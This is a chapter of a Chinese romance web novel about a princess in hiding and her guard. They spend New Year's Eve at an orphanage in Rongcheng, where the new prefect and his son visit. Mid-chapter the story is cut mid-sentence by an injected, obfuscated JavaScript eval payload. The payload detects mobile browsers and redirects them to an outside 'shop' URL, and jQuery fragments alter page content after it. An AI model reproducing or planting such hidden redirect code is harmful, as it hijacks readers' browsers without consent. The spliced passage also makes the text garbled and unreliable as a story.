24. 第二十四章

作品:《和侍卫亡命天涯的日子

    除夕夜风雪依旧,算不得连绵大雪,零零星星落在地面上,映着善堂内灯火熠熠。


    “下星星了!”小兰花裹着姚家送来的新衣,脸埋在暖和的帽子里,伸手去接“星星”。


    容城不似京城热闹,除夕夜家家户户团圆,善堂又偏僻,显得格外冷清。


    善堂关着那扇斑驳的木门,里边孩子们欢笑声起,因着节日,孙三娘对小兔崽子们也格外放纵些。


    大多是身心遭受磨难的小孩,如今面对风雪也没那般娇气,捏着前夜积雪,做成雪团开始堆雪人。


    姚红叶是夫子,性子端重,他们尚且尊重几分,但宁怀袖与纪怀安可没这般好运。


    二人常与孩童混作一团,相比严肃夫子,更像朋友。


    “纪兄!看招!”男孩子们大多有礼,不会对姑娘下手,都集中在纪怀安身上。捏着雪团,蓄势待发。


    经孙三娘与姚夫子教导,也不唤纪怀安叔叔,反而装模作样一声“纪兄”,惹得屋内几人笑了好一阵。此刻这群小人儿正在冒犯纪兄。


    纪怀安本在屋内坐着,闻言并未即刻起身,率先瞅了一眼宁怀袖。


    后者眉眼弯弯,目光落在雪中小孩堆里,察觉到视线,转头与纪怀安四目相对,眼中笑意未收。


    “去吧,纪兄。”她憋着坏,嘴角都扬成大大的月亮,“孩子们想让你陪他们玩呢。”


    见宁怀袖好以整遐,估摸着也是期待的,这才起身踏出门去,冷峻的脸在雪色下多出几分柔软,难得与小家伙们打趣:“输了可别哭鼻子。”


    只瞧见纪怀安蹲下身捏了几个雪团,并未压太实,转瞬便在小家伙们身上绽开,簌簌落下。给几个小孩打得抱头鼠窜,连连求饶。


    “你们慢些跑,别磕了碰了。”孙三娘自下雪频繁后,将厨房围了几面,便于下雪时做饭。此刻她正煮着白日里包的饺子,听到外边的吵闹不免絮叨几句。


    “宋姐姐,救我!”大虎跑得气喘吁吁,还不忘大声求救。


    “纪怀安!”宁怀袖站在门框里,高声提醒,“莫要太欺小孩!”


    纪怀安闻言脚步一凝,下一瞬,一团柔软的雪在宁怀袖的衣裙绽开。


    “好哇!”她没想纪怀安这般大胆,竟敢直接将她也拉入“战场”,“孩子们!给我上!”


    她挽了挽袖子,蹲下揉了两个雪团,领着孩子们将雪团纷纷往纪怀安那边扔去,饶是纪怀安武功再高强,也抵挡不住那么多的攻击。


    好几个雪球砸在他玄色的衣裳,黑白分明。


    “耶!宋姐姐威武!”孩童们像拥王般欢呼,只为这片刻欢乐。


    纪怀安瞧见宁怀袖难得如此神色,也不经意弯了弯嘴角,发出一声轻笑。


    “纪兄笑了!”大虎似发现什么惊天秘密一般,指着纪怀安笑。


    宁怀袖瞥了纪怀安一眼,他嘴角还噙着笑,比几分雪色还要惹人注目。


    她也笑了。


    端着一锅生饺子入厨房的姚红叶恰巧瞧见这一幕,也被感染地扬起唇角。


    “怎么,羡慕了?”孙三娘将一锅饺子下入汤中,抬眼问。


    “只是觉得,纪公子与宋姑娘……”不像兄妹。


    后边几个字她觉得说出来不妥,硬生生吞了回去。反而是孙三娘接着她话茬:“若是时间久了,的确不像兄妹,他们二人看着亲密又生疏的,分明是二人郎情妾意。”


    “那倒是,可矜矜瞧着还是个孩子呢,情爱一事恐还未开窍。”


    姚红叶在一旁立着,其实她自己也未曾经历过情爱,这善堂唯一说得上话的,是孙三娘。


    “三娘莫非想教教她?”姚红叶没头没脑问出一句。


    孙三娘笑叹一声,也没回答这句话,想来是有自己的主意。


    除夕的夜便在绵绵小雪与热气腾腾的饺子中度过。小孩子熬不住是不守岁的,几个成年人聚在厨房,烧了柴火,围在一起,都图个来年吉利。


    守岁太晚,几人都是被孩童们欢闹的声音叫醒,依稀还夹杂着大虎提醒的声音:“小声些,夫子和宋姐姐他们还未醒呢。”


    “这大虎有点长兄模样了。”宁怀袖推开门,如她所料,孙三娘早已在厨房忙碌。


    宁怀袖自愧不如,她从未见孙三娘闲下来过,仿佛总是在为善堂操持。


    她煮了一大锅白粥,正欲招呼各位用餐,善堂的那扇破门忽地被敲响,还伴着问声:“孙三娘可在?”


    “三娘!有人找!”


    孙三娘停下手中活计,在衣裳上擦了擦手:“何人在外?”


    她这善堂鲜有人来,街坊邻居声音她都识得,陌生的男声引起了众人的警觉。


    纪怀安眼神一凛,向孙三娘点了点头,往门边去。


    “在下是容城新上任知府,听闻此处善堂之事,如今天冷,特来瞧上一瞧,若有冒犯请孙三娘恕罪。”


    屋外人声听着和蔼,言辞恳切,可未见着人,谁也说不准。


    纪怀安示意众人退后,他亲自将门打开。


    门外站着四个人,为首的老者年过半百,衣着干净大方,瞧不上多华丽。身旁男子容貌俊美,身形颀长,见纪怀安赶忙行了个礼。二人身后还跟着小厮,不速之客不知来意。


    “孙三娘可在?”陈知府并未贸然踏入善堂领地,只在一旁公事公办的模样。


    孙三娘从院中探出身子:“民妇就是孙三娘,不知大人寻民妇何事?”


    未了她补充道:“民妇这善堂都是些被丢弃的孩童,想大人也不感兴趣。”


    陈知府知道眼前人误会了,他示意儿子陈新荣开口:“孙婶误会了,家父初来容城,听闻容城有个善堂,担心冬日善堂孩子们冻着,特来瞧瞧。”


    容城离京城有些距离,官员向来都是土皇帝,如今眼前这京城来的自然是眼高于顶,还有这好心?


    孙三娘正欲闭门谢客,宁怀袖附耳:“三娘,若只是做做样子,善堂也能得些好处,不亏。”


    孙三娘闻言生硬改口:“大人能光临寒舍,民妇怎会拒绝,只是寒舍简陋,大人见谅。”


    “无妨。”陈知府开了口,伸手将小厮拦在门外,自己率着儿子一同入善堂。


    孙三娘转身时,父子二人这才瞧见身后的宁怀袖,他们十分有默契地不动声色,指着眼前几人问:“这几位是?”


    孙三娘倒还算有礼:“这是善堂的夫子,亦是县令的女儿,姚姑娘。”


    “这二人是边城来的兄妹俩,如今也在善堂帮着活计。”


    孙三娘不知宁怀袖二人从何处来,却也为了免生事端,一句话带过。


    父子二人一一见过礼,这才上上下下打量起善堂来。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16687601|185609||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    孩子们如今都在哪儿?”陈新荣开口问。


    孙三娘与宁怀袖对视一眼,后者领会到她的意思,快步将正屋的门打开,与趴在门边偷听的小兔崽子们险些撞着。


    “是知府大人,你们乖一些。”宁怀袖小声嘱咐。


    果真,孩子们也未踏出屋门,年纪小的在一旁温书,年纪大的警觉些,直愣愣看着闯入善堂的陌生人。


    陈家父子并未踏进屋子,只简单瞧了瞧,逐渐皱起了眉头。


    姚红叶在一旁将一切尽收眼底,眼神也冷了下来。


    “知府大人与令郎千金之躯,我们善堂过于简陋,还望知府大人快些离去,莫要沾上灰尘。”


    她这般暗戳戳阴阳怪气的话,连孙三娘听着也心惊肉跳,善堂好歹没什么,可姚红叶家中做官,很容易便惹上是非。


    陈知府未言语,反而是陈新荣爽朗一笑:“姚夫子误会了,家父寒门出生,并不会嫌弃善堂,况且善堂干净整洁,哪儿来得脏污一事。”


    陈新荣生得一副好皮囊,说话时慢条斯理娓娓道来,在这大冬天竟让人有如沐春风之感。


    饶是宁怀袖也偷偷在纪怀安耳边感叹一句:“这么俊美的脸,怎就是一个伪君子呢?”


    她只顾着自己说,全然没瞧见纪怀安一瞬间暗下来的神色。


    “此番忽然前来到底是叨扰各位,在下给各位行个不是。”陈新荣开了口,父子二人也有礼貌地行了礼离开。


    “我怎么瞧着这陈知府是个好人?”姚红叶虽方才将人阴阳怪气一顿,却察觉不出几分恶意。


    孙三娘目光闪烁:“矜矜说得对,他若是做伪君子也与我们无关,善堂若是能获得几分好处才是目的。”


    “我觉得方才伯伯不坏。”小兰花钻出来,很认真的参与讨论,活像个小大人。


    二丫挤在门内,高声嚷嚷:“他方才露出那样的表情,还连连摇头,我都看到了,定是嫌弃我们。”


    宁怀袖不可置否,但她仍旧耐心教导:“我们也不可妄下结论,毕竟对他人不熟悉,这可是不礼貌的哦。”


    她蹲在孩子身边,微微仰着脑袋,日光将她的眼照得亮亮的。


    “好了,管他做什么。”孙三娘一拍手,“都来用早膳吧。”


    往容城知府府邸去的马车内,父子二人沉默片刻。


    “善堂有些破旧了,实在是令人痛心,明日你便着手派人来修缮,先送些御寒的避避风,我瞧着锅中只有白粥,太清淡了,肉也备些,孩子们正是长身体的时候。”


    “是,父亲。”陈新荣赞同自己父亲的观点。


    “诶?那孩子们有些身上穿得新衣,是哪家权贵捐赠?”


    “回父亲,儿子打听过,应是姚县令。”


    陈知府思考时便会捋他的胡子。


    “姚家不错,女儿也如此有胆识,赶明儿拜访一下。”


    “是。”


    “父亲……”陈新荣欲言又止,他本想问方才见到的女子那般眼熟,会不会是公主还活着。


    “子淳啊,”陈知府忽地开口,“有些事还是憋在心底最安全。”


    “儿子受教了。”


    陈知府自有思量,若是公主,说出去被有心人听见,恐怕公主性命堪忧,若不是,给人带来麻烦也不太妥当。


    最好的方式是烂在肚子里。